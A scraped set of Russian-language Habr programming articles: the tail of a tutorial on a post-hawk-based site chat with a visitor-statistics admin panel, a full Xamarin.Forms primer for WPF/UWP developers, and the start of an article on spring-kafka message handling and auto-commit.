$body = $body.find('.mCSB_container');
}
$body.append(str);
}
} //добавляем обработчик входящего сообщения из панели администрирования
});
```
Полный набор возможных параметров находится на [соответствующей](http://api.post-hawk.com/%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C-%D1%87%D0%B0%D1%82/) странице документации.
Коротко о том, что происходит при инициализации чата: мы меняем формат входящих и исходящих сообщений, прячем список пользователей и вкладки, открываем чат с назначенным ранее менеджером, а также слушаем входящие сообщения, чтобы при поступлении сообщения для всех пользователей группы отобразить его. Делаем чат перетаскиваемым, для этого нам необходимо наличие jquery ui.
Делаем анимацию сворачивания/разворачивания чата:
**код**
```
var $body = $('.chat-body', '#chat');
$('.chat-header', '#chat').dblclick(function () {
var $container = $('.chat-container', '#chat');
if($body.is(":visible"))
{
$body.hide();
$container.stop().animate({
height: '0px'
}, 1000);
}
else
{
var to = '+=0px';
$container.stop().animate({
height: '465px',
top: to
}, 1000, 'linear', function () {
$body.show();
//если чат уехал за экран возвращаем его на место
var offset = $container.offset();
if(offset.top < 0)
{
$container.stop().animate({
top: '+=' + offset.top|0 + 'px'
})
}
$container.find('.chat-text-input').focus();
});
}
});
```
Сообщаем о себе вызовом функции sendPage() и ставим её вызов в интервал на каждые 15 секунд.
Вот и всё с клиентской частью.
#### Административная часть.
Для начала определимся с тем минимальным набором функционала которым должна располагать административная часть:
1. Отправить сообщение любому пользователю
2. Отправить сообщение всем пользователям
3. Показывать статистику по текущим онлайн-пользователям
Для реализации первых двух пунктов будем использовать плагин чата, для третьего — [highcharts](http://www.highcharts.com/) и Яндекс.Карты.
Административная часть расположена в файлах [admin.php](https://bitbucket.org/Slavenin/hawk_advisor/src/43ddede300bd8cb24f8a03a59c3ba2b0eab6f435/admin.php?at=master&fileviewer=file-view-default) и [js/admin.js](https://bitbucket.org/Slavenin/hawk_advisor/src/99d93eb5828ff9679f3419b8b37a5cc811943a01/js/admin.js?at=master&fileviewer=file-view-default). Как и в случае с клиентской частью файл admin.php не содержит в себе каких-то интересных деталей, всё тот же объект для данных пользователя и немного html-разметки под графики. Понятно, что в таком виде как она сейчас — открытом — оставлять её нельзя, но так как каждый сайт использует собственную систему авторизации добавлять какой-либо код для её проверки я не стал.
Переходим к js-скрипту. Для хранения данных статистики используется объект STAT.
**код**
```
$('#chat').hawkChat({
userId: CHAT_CONTROL.userId, //id пользователя
serverSideUrl: 'Chat.php', //адрес серверного скрипта
groupName: CHAT_CONTROL.groupName, //группа куда будут добавлены все пользователи
onInMessage: function(msg, str) {
if(msg.event === 'hawk.ping')
{
return false;
}
msg.text.from_login = msg.text.from_login.substr(0, 10);
return -1;
}//добавляем обработчик входящего сообщения для модификации логина пользователя
});
```
Здесь стандартная инициализация чата. На входящие сообщения делаем обработчик дабы не пропустить данные из админ панели и укоротить логин пользователя. -1 — это сигнал чату перекомпилировать сообщения на основе изменённых данных. Так как сообщения с пингом рассылаются всем пользователям группы, то мы их игнорируем. В данной части код можно поменять создав две разные группы — одну для пользователей, вторую — для администраторов и посылая сообщения из одной в другую.
Далее мы инициализируем графики и подписываемся на события пинга и обновление списка пользователей. Новый список запрашивается чатом каждые 30 секунд.
**код**//инициализируем графики
```
initGraphs();
//подписываемся на пинг от пользователя
HAWK_API.bind_handler('ping', onUserPing);
//подписываемся на обновление списка пользователей
HAWK_API.bind_handler('get_by_group', onUserList);
```
При поступлении пинга от пользователя мы обновляем информацию о нём в нашем объекте. Можно в этот момент перерисовать и графики, но в случае большого количества пользователей с производительностью браузера могут возникнуть проблемы, поэтому обновлять данные мы будем при получении нового их списка.
**код**
```
function onUserPing(e, msg)
{
//сохраняем или обновляем информацию о пользователе
var info = msg.text.info;
STAT.userInfo[msg.from] = info;
//записываем текущую страницу пользователя
if(!STAT.pageToUser.hasOwnProperty(info.page))
{
STAT.pageToUser[info.page] = [];
}
//и добавляем его в массив пользователей страницы
if($.inArray(msg.from, STAT.pageToUser[info.page]) === -1)
{
STAT.pageToUser[info.page].push(msg.from);
}
}
function onUserList(e, msg)
{
var onlineUsers = [];
msg.result.forEach(function (record) {
for(var gname in record)
{
record[gname].users.forEach(function (user) {
if (user.online)
{
if($.inArray(user.user, onlineUsers) === -1)
{
onlineUsers.push(user.user);
}
}
else if (!user.online)
{
if (STAT.userInfo.hasOwnProperty(user.user))
{
delete STAT.userInfo[user.user];
}
//убираем оффлайн пользователей из группы
HAWK_API.remove_user_from_group([gname], user.user);
}
});
}
});
var pages = STAT.pageToUser;
//перебираем циклом все имеющиеся страницы
for(var page in pages)
{
//фильтруем пользователей на странице
pages[page] = pages[page].filter(function (pUser) {
//если пользователя нет на странице, удаляем его
if($.inArray(pUser, onlineUsers) === -1 || STAT.userInfo[pUser].page !== page)
return false;
return true;
});
//если пользователей на странице не осталось удаляем страницу
if(!pages[page].length)
{
delete pages[page];
}
}
$('#user_count').html(onlineUsers.length);
//обновляем графики и карту
updatePageGraph();
updateBrowserGraph();
updateMap();
}
```
Далее функции для обновления данных на графиках (какого-либо особого интереса они не представляют, поэтому подробно их рассматривать не буду):
**код**
```
function updatePageGraph()
{
//если процесс обновления уже запущен возвращаемся
if(STAT.graphPageUpdating)
{
return;
}
STAT.graphPageUpdating = true;
//формируем серии для графика
var series = [];
var pages = STAT.pageToUser;
for(var page in pages)
{
series.push([page, pages[page].length]);
}
//обновляем графики
var chart = STAT.pageGraph.highcharts();
chart.series[0].setData(series);
chart.redraw();
STAT.graphPageUpdating = false;
}
function updateBrowserGraph()
{
//если процесс обновления уже запущен возвращаемся
if(STAT.graphBrowserUpdating)
{
return;
}
STAT.graphBrowserUpdating = true;
var browsers = {};
var users = STAT.userInfo;
//перебираем информацию пользователей
for(var user in users)
{
var browser = users[user].browser;
if(!browser)
{
continue;
}
//формируем строку с названием браузера
browser = browser.name.toString().substr(0, 10) + ' '
+ ((browser.version) ? ' (' + browser.version + ')' : '(не определено)');
//считаем количество браузеров
if(!browsers.hasOwnProperty(browser))
{
browsers[browser] = 0;
}
browsers[browser]++;
}
//формируем сирии для графика
var series = [];
for(var browser in browsers)
{
series.push([browser, browsers[browser]]);
}
//обновляем график
var chart = STAT.browserGraph.highcharts();
chart.series[0].setData(series);
chart.redraw();
STAT.graphBrowserUpdating = false;
}
function updateMap()
{
if(!STAT.objectManager)
{
return;
}
//очищаем карту
STAT.objectManager.removeAll();
var users = STAT.userInfo;
//формируем новый массив координат пользователей
var points = [];
for(var user in users)
{
if(users[user].coords && users[user].coords.length)
{
points.push({
type: "Feature",
id: user,
geometry: {
type: "Point",
coordinates: users[user].coords
},
properties: {
draggable: false
}
});
}
}
//добавляем на карту
STAT.objectManager.add(points)
}
```
И функции инициализации графиков и карт:
**код**
```
function initGraphs()
{
//график пользователей
STAT.pageGraph = $('#chart').highcharts({
chart: {
type: 'column'
},
title: {
text: 'Пользователи на страницах'
},
xAxis: {
type: 'category'
},
yAxis: {
title: {
text: 'Количество пользователей'
}
},
legend: {
enabled: false
},
plotOptions: {
series: {
borderWidth: 0,
dataLabels: {
enabled: true,
format: '{point.y}'
}
}
},
tooltip: {
headerFormat: '{series.name}
',
pointFormat: '{point.name}: **{point.y}**
```
Вот и всё с административной частью.
Для стилизации скроллов используется плагин [jquery-custom-content-scroller](http://manos.malihu.gr/jquery-custom-content-scroller/) он является опциональным. Если у вас на портале используется своя стилизация для скроллов вы можете переопределить соответствующую функцию.
Недостатком этой системы является невозможность просмотра статистики по всем пользователям сразу после загрузки страницы. Впрочем эта проблема решается несколькими способами, либо хранением статистики в чём-то более надёжном чем объект javascript, либо можно реализовать функционал опроса всех пользователей из списка с целью получения от них данных о текущем состоянии.
Вот и всё, что я хотел рассказать. Благодарю за внимание. | https://habr.com/ru/post/268673/ | null | ru | null |
# Xamarin.Forms для WPF и UWP разработчиков
[](http://habrahabr.ru/post/331308/)
Постараюсь коротко, но понятно, рассказать самое интересное о Xamarin. Самые основные концепты, которые необходимо знать UWP и WPF разработчикам, чтобы с места в карьер начать работать с Xamarin.Forms.
Занявшись разработкой на Xamarin я не бросил UWP, а просто расширил свой стек. UWP проекты — это один из типов проектов, поддерживаемых Xamarin.Forms. Мне показалось, что Xamarin ближе всего UWP разработчикам, так как он самый нативный и очень удобно тестировать приложения при работе с Visual Studio на Windows. Но как оказалось, тип проекта UWP не поддерживается Visual Studio для Mac. Так что Xamarin близок всем платформам.
Xamarin был создан той же командой, которая занималась разработкой Mono. Название было взято от вида обезьян Tamarin. Xamarin 2.0 вышел в начале 2013-ого года. И фактически с его выходом стало можно создавать приложения под iOS, Android и Windows на C#. Через год в 2014-ом вышел релиз Xamarin 3, а вместе с ним и Xamarin.Forms.
Есть два типа проектов, которые можно создать с помощью Xamarin — **Xamarin.Forms** и **Native**. В первом случае для всех платформ общий интерфейс создается с помощью XAML или C#, а во втором случае интерфейс создается отдельно для каждой из платформ. То есть у Xamarin.Forms еще и интерфейс пишется общим для всех платформ кодом (но возможны и правки для каждой из платформ в отдельности). Зато у Native приложений есть возможность использовать конструктор для создания графического интерфейса. А для того чтобы создать UI для Xamarin.Forms вам придется писать код вручную и каждый раз запускать отладку приложения, чтобы посмотреть на изменения во внешнем виде страницы.
Что выбрать? Стандартный совет: Xamarin.Forms отлично подходит для приложений с обычным дизайном. Если ваш клиент не капризен и не требует каких-то особых графических эффектов и если не требуется использовать специфичные для платформ API в больших объемах, то выбирайте Forms. Кроме того, если у вас опыт разработки на UWP или WPF, то XAML или C# интерфейс Xamarin.Forms будет вам знаком и понятен. В каком-то смысле Native наоборот ближе тем, кто раньше работал с нативными приложениями конкретной платформы.
Да, да. Вы не «ослышались», или точнее, не «очитались». В Xamarin.Forms у вас есть выбор создавать интерфейс на XAML или на C#. Графический редактор XAML пока что не поддерживается Visual Studio.
Если вы создаете контролы из C# кода, то при этом снижается читаемость и повышается сложность разработки. Зато код компилируется и становится чуть более производительным.
Может быть кому-то не знакомому с XAML проще создавать интерфейс на C#. Но как по мне XAML гораздо более удобен и читаем. После выхода XAML Standard он станет и более привычным.
Простейший пример. Вот такая страница MainPage.xaml будет создана у вас по умолчанию:
```
xml version="1.0" encoding="utf-8" ?
```
Можно эту страницу удалить и создать класс MainPage.cs со следующим аналогичным содержимым:
```
using Xamarin.Forms;
namespace App1
{
public class MainPage : ContentPage
{
public MainPage()
{
Label lblIntro = new Label
{
Text = "Welcome to Xamarin Forms!",
VerticalOptions = LayoutOptions.Center,
HorizontalOptions = LayoutOptions.Center,
};
Content = lblIntro;
}
}
}
```
Кстати, и XAML тоже можно скомпилировать. В случае удачной компиляции уменьшится размер приложения и ускорится загрузка. К тому же при компиляции проверятся биндинги.
Для этого необходимо разместить
```
using Xamarin.Forms.Xaml
```
и
```
[assembly: XamlCompilation(XamlCompilationOptions.Compile)]
```
где-либо в коде (не важно в каком файле — главное перед namespace)
### Как это все работает
Xamarin с помощью платформы Mono связывает C# код с родным для платформ API. Сам .NET фреймворк включается в пакеты приложения. При этом неиспользуемые классы из него исключаются для того, чтобы уменьшить размер пакета. Получается что-то вроде портативной дистрибуции .NET Core.
Привязка классов C# к родным для платформ классам происходит при компиляции. И для iOS и для Android платформ привязка происходит одинаково, различие только в режиме компилятора.
Xamarin.Android использует just-in-time компиляцию для тонкой оптимизации производительности при компиляции в нативное Android APK.
Ahead-of-Time (AOT) компилятор компилирует Xamarin.iOS проекты сразу в нативный код ARM и получаемый в результате файл IPA тоже является нативным бинарником.
Для написания кода можно использовать языки C# и F#.
Для того чтобы разрабатывать и тестировать приложения желательно иметь физические девайсы. Для тестирования Android проектов есть возможность использовать не только реальные девайсы, но и различные эмуляторы. Настроить эмуляторы Android иногда занятие нетривиальное. Хотя, если у вас на компьютере присутствует Hyper-V, то вам повезло. В состав Visual Studio входит отличный эмулятор [Visual Studio Emulator for Android](https://developer.xamarin.com/guides/android/deployment,_testing,_and_metrics/debug-on-emulator/visual-studio-android-emulator/), который требует Hyper-V, x64 и Windows PRO или Enterprise.
Если у вас нет Hyper-V, то вы все-равно можете настроить Google Android эмулятор. Его можно настроить и на процессорах Intel и на AMD, но не факт, что работать он будет быстро. Настройка эмулятора это отдельная тема.
Если вы разрабатываете приложение с помощью Visual Studio для Mac, то вы можете воспользоваться эмулятором iOS. Пользователи Visual Studio для Windows лишены возможности тестировать приложения с помощью эмулятора из-за ограничений iOS платформы. Для компиляции и тестирования Xamarin.iOS проекта необходимо реальное устройство.
На конференции Build 2017 был анонсирован Xamarin Live Player с помощью которого можно связать физическое iOS или Android устройство с Visual Studio и тестировать на реальных iOS и Android устройствах без установки гигабайт SDK. Уже доступно превью [Xamarin Live Player](https://www.xamarin.com/live).
Visual Studio вместе с Xamarin-ом и всеми SDK занимает довольно много места на диске. Если у вас HDD довольно объемный, то для вас это не будет проблемой. Visual Studio 2017 занимает поменьше места, чем 2015-ая, так что если есть выбор, то ставьте ее. В ближайшее время сэкономить место позволит установка Xamarin Live Player вместо SDK.
Небольшая шпаргалка по XAML элементам
-------------------------------------
### Страницы / Pages
На iOS функцию страницы выполняет View Controller, на Windows Phone – Page, а на Android – Activity. Но если вы работаете в Xamarin.Forms приложении, то для вас это Page.
Основные типы страниц:
**ContentPage** — отображает единственный View (как правило контейнер/элемент компоновки)
**MasterDetailPage** — страница, отображающая две панели информации
**NavigationPage** — главную страницу приложения можно обернуть в NavigationPage. Например так: *new NavigationPage(new MainPage());* Тогда в приложение добавится навигация.
**TabbedPage** — страница с несколькими закладками (Tab-ами)
**CarouselPage** — страница, «листы» которой можно пролистывать. Примерно, как в приложении «Фотографии» можно пролистывать фотографии с помощью жеста свайпа.
Еще есть **TemplatedPage** – это то, что лежит в основе ContentPage. Фактически благодаря TemplatedPage можно использовать ControlTemplate для ContentPage.
Материал задумывался как шпаргалка для не самых начинающих разработчиков, а пока что все должно быть слишком просто и понятно. Поэтому, чтобы его чуть углубить, разберем пример применения TemplatedPage, немного усложненный биндингом:
В файл App.xaml добавим следующий ControlTemplate:
```
```
В MainPage.xaml добавим *ControlTemplate="{StaticResource MainPageTemplate}"*
```
xml version="1.0" encoding="utf-8" ?
```
Ну и раз у нас в ControlTemplate есть биндинг *{TemplateBinding HeaderText}*, то необходимо реализовать и его в MainPage.xaml.cs
```
public static readonly BindableProperty HeaderTextProperty =
BindableProperty.Create("HeaderText", typeof(string), typeof(MainPage), "Заголовок");
public string HeaderText
{
get { return (string)GetValue(HeaderTextProperty); }
}
```
Хотя даже этот пример должен быть понятен и близок WPF/UWP разработчикам.
Вместо OnNavigatedTo и OnNavigatedFrom у страниц Xamarin есть методы OnAppearing() и OnDisappearing().
### Элементы компоновки / Layouts
Layouts как и большинство элементов управления наследуются от класса View. Давайте рассмотрим самые основные элементы компоновки:
**StackLayout** — располагает элементы по порядку горизонтально или вертикально
**AbsoluteLayout** — абсолютное позиционирование (как в WinForms)
**RelativeLayout** — что-то вроде AbsoluteLayout, но позиции задаются в процентах
**Grid** – таблица
**ContentView** – вариант View аналогичного ContentPage (т.е. содержащего в себе только один элемент)
**ScrollView** — элемент, содержимое которого можно прокручивать если оно не умещается
**Frame** — содержит в себе только один элемент с Padding отступом по умолчанию равным 20
И пару Layout можно рассматривать отдельно:
**TemplatedView** – очень похож на TemplatedPage, но в данном случае это View, а не Page.
**ContentPresenter** – менеджер компоновки для шаблонных вьюшек
### Элементы управления
Контролы, которые есть в Xamarin.Forms. Следующие контролы тоже наследуются от View и не требуют особого представления UWP/WPF разработчикам:
**Label**, **Button**, **Image**, **ProgressBar**, **Slider**, **SearchBar**, **DatePicker**, **TimePicker**, **WebView**
А о следующих контролах я расскажу в двух словах:
**Stepper** — функция как и у slider, но интерфейс в виде двух кнопок (увеличивающих и уменьшающих значение)
**Switch** — переключатель. Выполняет функцию CheckBox
**Entry** — текстовое поле
**Editor** — многострочное текстовое поле
**BoxView** — прямоугольник, который можно закрасить каким-либо цветом
**ActivityIndicator** – отображает что что-то происходит (тот момент, когда приложение «задумалось»)
Кроме того, есть элементы для размещения в них различных коллекций: **Picker**, **ListView**, **TableView**.
И элементы для особых задач, название которых более-менее соответствует содержимому:
**Map**, **OpenGLView**.
Полный список элементов управления, унаследованных от View, доступен на следующей странице: [Xamarin.Forms Views](https://developer.xamarin.com/guides/xamarin-forms/user-interface/controls/views/).
### Cells
Последним типом элементов управления является тип, унаследованный от Cells. В качестве содержимого, находящегося в ячейках ListView, TableView могут выступать различные контролы с красноречивыми названиями: **EntryCell**, **SwitchCell**, **TextCell**, **ImageCell**.
Соответственно, значением ячейки таблицы может быть: поле ввода текста (EntryCell), переключатель (SwitchCell), текст (TextCell) или изображение (ImageCell).
В одной и той же таблице можно использовать различные типы ячеек. Ниже пример TableView, в качестве содержимого которого выступают текстовое поле и переключатель:
```
```
Кроме четырех уже упомянутых типов ячеек ListView и TableView вы можете задать ячейке какое-то свое содержимое с помощью ViewCell. Например, можно разместить внутри StackLayout с каким-то содержимым
```
```
Немного непривычно, но задание ширины и высоты элемента управление происходит с помощью атрибутов WidthRequest и HeightRequest. Как может стать понятным из их названий они не устанавливают размер элементу сразу же, а принимают запрос на установку размера.
Установленные значения для платформ устанавливаются равными их типам измерения размера. Для UWP это Effective pixels, для iOS — Points и для Android это Density-independent pixels. Атрибуты Width и Height доступны только для чтения и возвращают текущие размеры.
### MessagingCenter
MessagingCenter позволяет различным компонентам приложения коммуницировать друг с другом.
Где это может быть использовано? Например, может быть необходимым прислать сообщение между двумя объектами Page или ViewModel. Или же может быть необходимо сообщить о завершенной фоновой загрузки.
Реальный пример того как это может быть реализовано. Где-либо в коде размещается следующая регистрация подписки на событие:
```
MessagingCenter.Subscribe(this, "SomeIdText", GetMessage);
```
Если после этого MainPage отправит сообщение с текстом SomeIdText, то будет вызван метод GetMessage вот с такой сигнатурой:
```
private void GetMessage(object sender, string args)
{
// здесь можно что-то сделать
}
```
или же можно использовать лямбда-выражение:
```
MessagingCenter.Subscribe(this, "SomeIdText", (sender, arg) =>
{
// и здесь тоже можно что-то сделать
});
```
Отправляется сообщение так:
```
MessagingCenter.Send(this, "SomeIdText", "значение, которое можно получить в args");
```
А отписка происходит с помощью следующей строчки:
```
MessagingCenter.Unsubscribe(this, "SomeIdText");
```
### Полезные ссылки
Если вам мало контролов, то вы можете воспользоваться [порталом Xamarin](https://components.xamarin.com/), откуда можно скачать какие-либо готовые платные или бесплатные компоненты.
Кроме того, можно устанавливать [пакеты NuGet](https://www.nuget.org/).
Какие-то популярные Open-Source компоненты можно найти [на GitHub](https://github.com/xamarin/XamarinComponents).
Сам открытый код Xamarin тоже можно найти [на GitHub](https://github.com/xamarin) .
Отправить какой-то баг можно через [BugZilla](https://bugzilla.xamarin.com/newbug).
Shared Projects, PCL или .NET Standard
--------------------------------------
Вы можете хранить общий код или в общем проекте (Shared Project) или в общей библиотеке PCL.
В зависимости от того что вы выберете у вас будет определенные специфический нюансы в работе.
Shared Projects теоретически позволяют получить доступ к всем возможностям .NET Framework. Но не факт, что все их можно использовать в Xamarin проекте. Так что большие возможности Shared Projects обманчивы.
Возможности PCL ограничиваются в соответствии с количеством назначенных библиотеке платформ. Чем больше платформ назначить библиотеке, там больше ограничены будут ее возможности.
Никто не запрещает в одном решении иметь сразу и Shared Project и PCL.
Для того, чтобы в PCL использовать некоторые пространства имен иногда необходимо чтобы решение было приведено к .NET Standard.
Допустим, вы хотите использовать класс System.Security.Cryptography. Пока ваша библиотека PCL не будет приведена к .NET Standard у вас это не получится.
Впрочем, можно использовать криптографию в каждом из проектов по отдельности. Для UWP это можно сделать, используя пространство имен Windows.Security.Cryptography, а для Android и iOS — System.Security.Cryptography.
Минусом приведения к .NET Standard является то, что проекты Android будут в таком случае поддерживать только Android 7.0 и iOS 10.0 и выше. У библиотек PCL для стандартизации используются профили.
В целом использование в проектах PCL приносит больше удобств и возможностей. Для последующих проектов лучше использовать .NET Standard. Со временем библиотеки этого типа заменят PCL.
Как работать с API различных платформ
-------------------------------------
### Особенности Shared Project
Если в качестве источника общего кода вы используете Shared Project, то вы можете использовать директивы компилятора:
**#if**, **#elif**, **#else** и **#endif**
Например:
```
#if __ANDROID__
// код, который использует возможности Android
#endif
```
Если вы используете директивы компилятора, то при рефакторинге средствами IDE заключенный в них код затронут не будет. Это относят к минусам общих проектов.
Можно создавать свою имплементацию какого-то класса в каждом из проектов по отдельности с помощью Class Mirroring.
Например, создать в каждом из проектов iOS, Android и UWP свою реализацию Alert. Например, для Android класс может быть таким:
```
internal class Alert
{
internal static void Show(string title, string message)
{
new AlertDialog.Builder(Application.Context).SetTitle(title).SetMessage(message);
}
}
```
Зачем это нужно? В данном примере можно создать свое окошко с сообщением с помощью нативных возможностей платформы.
Обратите внимание на предикат internal. Он в данном случае обязателен. Из общего проекта метод можно вызвать так:
```
Alert.Show("Сообщение", "Привет Xamarin!");
```
### DependencyService
С помощью этого функционала можно писать единый код для различных платформ и в PCL и в общих проектах. Функционал основан на паттерне Dependency Injection. Отсюда и название.
Делается это так. Создается какой-либо интерфейс общий для всех платформ (в общем проекте или PCL) и после, создается реализация этого интерфейса для каждой из платформ (в каждом из проектов платформы).
Приведу официальный пример Xamarin — [Introduction to DependencyService](https://developer.xamarin.com/guides/xamarin-forms/application-fundamentals/dependency-service/introduction/), но только с изменениями для UWP.
В общем проекте/PCL создаем интерфейс:
```
public interface ITextToSpeech
{
void Speak(string text);
}
```
В проектах для каждой из платформ создаем реализацию. Для UWP необходимо в проекте создать файл TextToSpeechImplementation.cs со следующим кодом:
```
public class TextToSpeechImplementation : ITextToSpeech
{
public TextToSpeechImplementation() { }
public async void Speak(string text)
{
MediaElement ml = new MediaElement();
SpeechSynthesizer synth = new SpeechSynthesizer();
SpeechSynthesisStream stream = await synth.SynthesizeTextToStreamAsync(text);
ml.SetSource(stream, stream.ContentType);
ml.Play();
}
}
```
И нужно в любом файле проекта UWP перед namespace-ом зарегистрировать DependencyService:
```
[assembly: Xamarin.Forms.Dependency(typeof(AppName.UWP.TextToSpeechImplementation))]
namespace AppName.UWP
```
Для Android код будет таким:
```
TextToSpeech _speaker;
string _toSpeak;
public TextToSpeechImplementation() { }
public void OnInit([GeneratedEnum] OperationResult status)
{
if (status.Equals(OperationResult.Success))
{
var p = new Dictionary();
\_speaker.Speak(\_toSpeak, QueueMode.Flush, p);
}
}
public async void Speak(string text)
{
var ctx = Forms.Context;
\_toSpeak = text;
if (\_speaker == null)
{
\_speaker = new TextToSpeech(ctx, this);
}
else
{
var p = new Dictionary();
\_speaker.Speak(\_toSpeak, QueueMode.Flush, p);
}
}
}
```
И нужно в любом файле проекта Droid перед namespace-ом зарегистрировать имплементацию:
```
[assembly: Xamarin.Forms.Dependency(typeof(TextToSpeechImplementation))]
namespace AppName.Droid
```
Код для iOS можете посмотреть на следующей страничке документации StackOverflow: [Accessing native features with DependencyService](https://stackoverflow.com/documentation/xamarin.forms/2409/accessing-native-features-with-dependencyservice#t=20170621181908895097).
Теперь можно в коде PCL или общего проекта вызывать реализацию интерфейса. Автоматически будет вызвана реализация для той платформы, которую вы используете на данный момент:
```
DependencyService.Get().Speak("Hello from Xamarin Forms");
```
Регистрация с помощью атрибута упрощает применение DI. Но можно применить Dependency Injection и самостоятельно. Например, так. Добавить в PCL класс:
```
public static class TextToSpeech
{
public static ITextToSpeech Instance { get; set; }
}
```
В каждом из проектов инициализировать экземпляр класса:
```
TextToSpeech.Instance = new TextToSpeechImplementation();
```
И можно пользоваться из PCL:
```
TextToSpeech.Instance.Speak("Hello! How are you?");
```
### Класс Device
Этот класс позволяет:
— Определять текущий тип устройства с помощью **Device.Idiom** (Desktop, Tablet, Phone, Unsupported).
— Определять операционную систему с помощью **Device.OS** (Android, iOS, Windows, WinPhone).
Для задания различных параметров (очень часто различных размеров) платформам используется **Device.RuntimePlatform**. Его можно использовать в качестве условия
```
if (Device.RuntimePlatform == Device.Android) Margin = new Thickness(0, 20, 0, 0);
```
Отступы и размеры могут отличаться на разных платформах. Поэтому очень часто для какой-то их платформ необходимо установить больший или меньший отступ, или же изменить какой-нибудь другой параметр.
**Hint**: Раньше можно было задавать значение с помощью Device.OnPlatform, но сейчас этот метод помечен как устаревший. Хотя стало можно из XAML использовать тэг с атрибутом Platform. Например:
```
0
0,20,0,0
```
**Hint 2**: Для получения информации о операционной системе и модели используются различные для платформ классы:
**UIKit.UIDevice** для iOS
**Android.OS.Build** для Android
**Windows.Security.ExchangeActiveSyncProvisioning.EasClientDeviceInformation** для Windows
### Custom Renderers
В Xamarin Forms можно изменить внешний вид основного контрола с помощью декоратора в виде rendener. Для этого можно создать кастомный renderer – то есть отдельный внешний вид прорисовки контрола для каждой из платформ.
Рассмотрим на простейшем примере:
В Xamarin элемент управления со строкой ввода текста называется Entry. Сделаем так, чтобы внешний вид строки ввода текста немного отличался от стандартного. Для этого создаем в PCL или в Shared Project класс
```
public class MyEntry : Entry
{
}
```
Теперь в каждом из проектов можно создать экземпляр класса MyEntryRenderer, в котором необходимо override событие прорисовки OnElementChanged и в этом событии сперва прорисовать контрол с помощью base.OnElementChanged(e), а затем уже изменить его интерфейс в соответствии с необходимостью. Следующий класс – это пример того как в iOS приложении изменить цвет фона, элемента управления MyEntry:
```
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer (typeof(MyEntry), typeof(MyEntryRenderer))]
namespace YourAppName.iOS
{
public class MyEntryRenderer : EntryRenderer
{
protected override void OnElementChanged (ElementChangedEventArgs e)
{
base.OnElementChanged (e);
if (Control != null) {
Control.BackgroundColor = UIColor.FromRGB (204, 153, 255);
}
}
}
}
```
Как вы можете заметить класс унаследован от EntryRenderer. Список всех классов, от которых можно наследоваться, доступен в англоязычной документации: [Renderer Base Classes and Native Controls](https://developer.xamarin.com/guides/xamarin-forms/application-fundamentals/custom-renderer/renderers/).
Для того, чтобы изменить внешний вид MyEntry для платформы Android можно взять тот же класс, но сделать небольшие изменения. В первую очередь имя платформы изменить с iOS на Android. Ну и затем уже заменить в событии OnElementChanged код интерфейса на специфичный для платформы.
```
if (Control != null) {
Control.SetBackgroundColor (global::Android.Graphics.Color.LightGreen);
}
```
Как вы понимаете, для того, чтобы изменить стиль элемента, необходимо немного знать особенности платформы.
Кроме проверки на *Control != null* есть еще 2 проверки:
```
if (e.OldElement != null) {
// Отписаться от событий и очистить ресурсы (если необходимо)
}
```
и
```
if (e.NewElement != null) {
// Здесь можно настроить вид контрола и подписаться на события
}
```
Если вам нужно только просто немного изменить дизайн, то вы можете по простому использовать *Control != null*
**e.Old** или **e.NewElement** — это элемент управления Xamarin.Forms, который прорисовывается с помощью renderer. Например Entry или Button.
**Control** – это версия элемента управления, которая используется текущей платформой. Можно сказать родной для платформы контрол (вы же помните, что Xamarin.Forms связывает свои классы с родными для платформ классами).
Например, для UWP родным аналогом Entry будет TextBox. Для iOS аналог Entry это UITextView, а для Android – EditText.
Или же взять контрол Xamarin.Forms под названием DatePicker. Для UWP его родным аналогом будет класс с таким же названием — DatePicker. На iOS будет прорисован контрол под названием UITextField, а на Android – EditText.
Даже в довольно объемной статье сложно раскрыть полностью тему разработки на Xamarin. Интерфейс Xamarin.Forms не особо далеко ушел от WPF и UWP. Поэтому знакомые классы C# позволяют начать разработку практически сразу. Да и разработчики платформы стараются сделать ее более привычной. К примеру, у приложений Xamarin довольно схожий с UWP life cycle.
Приложение точно также может переходить в состояние suspended (sleep). Для обработки можно использовать события: **OnStart**, **OnSleep**, **OnResume**.
Через какое-то время, после окончательного перехода на .NET Standard и XAML Standard разработчикам C# станет еще более комфортно работать с различными технологиями из стека языка. | https://habr.com/ru/post/331308/ | null | ru | null |
# Как spring-kafka обрабатывает сообщения и не мешает ли этому auto-commit?
[В предыдущей статье](https://habr.com/ru/post/558206/) мы рассмотрели как работает **KafkaConsumer** и как реализован механизм auto-commit.
В этой статье я хочу остановиться на том как получает и обрабатываются сообщения spring-kafka.
Стоит оговориться, что сейчас мы рассматриваем ситуацию с *enable.auto.commit* = true. [Согласно документации](https://docs.spring.io/spring-kafka/reference/html/#committing-offsets) начиная с версии 2.3 настройка auto.commit по-умолчанию выставлена в false, хотя раньше это значение было аналогично значению по-умолчанию в kafka-clients, т.е. true. Это связанно с тем что контейнер KafkaMessageListenerContainer имеет собственные механизмы управления коммитом. Насколько это удобнее и какие тут есть плюсы и минусы - пожалуй тема отдельной статьи.
> Because the listener container has it’s own mechanism for committing offsets, it prefers the Kafka ConsumerConfig.ENABLE\_AUTO\_COMMIT\_CONFIG to be false. Starting with version 2.3, it unconditionally sets it to false unless specifically set in the consumer factory or the container’s consumer property overrides.
>
>
Я постараюсь ответить на следующие вопросы:
1. Как в spring-kafka построена работа с KafkaConsumer?
2. Какие есть возможности для параллельной обработки сообщений?
3. Что происходит при возникновении ошибок при обработки сообщений?
Рассмотрим типичный минимальный пример для получения сообщений из топика. Прежде всего нам понадобится конфигурация для подключения к топику:
```
@Configuration
public class KafkaConfig {
@Bean
KafkaListenerContainerFactory>
myListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory factory =
new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
factory.setConcurrency(3);
...
return factory;
}
@Bean
public ConsumerFactory consumerFactory() {
return new DefaultKafkaConsumerFactory<>(consumerConfigs());
}
@Bean
public Map consumerConfigs() {
Map props = new HashMap<>();
props.put(ConsumerConfig.ENABLE\_AUTO\_COMMIT\_CONFIG, “true”);
...
return props;
}
}
```
И код который будет совершать какую-то работу с полученными сообщениями:
```
@KafkaListener(topics = "myTopic", containerFactory=”myListenerContainerFactory”)
public void listen(String data) {
...
}
```
Сперва остановимся подробнее на конфигурации. Тут в игру вступают две сущности:
1. DefaultKafkaConsumerFactory
2. ConcurrentKafkaListenerContainerFactory
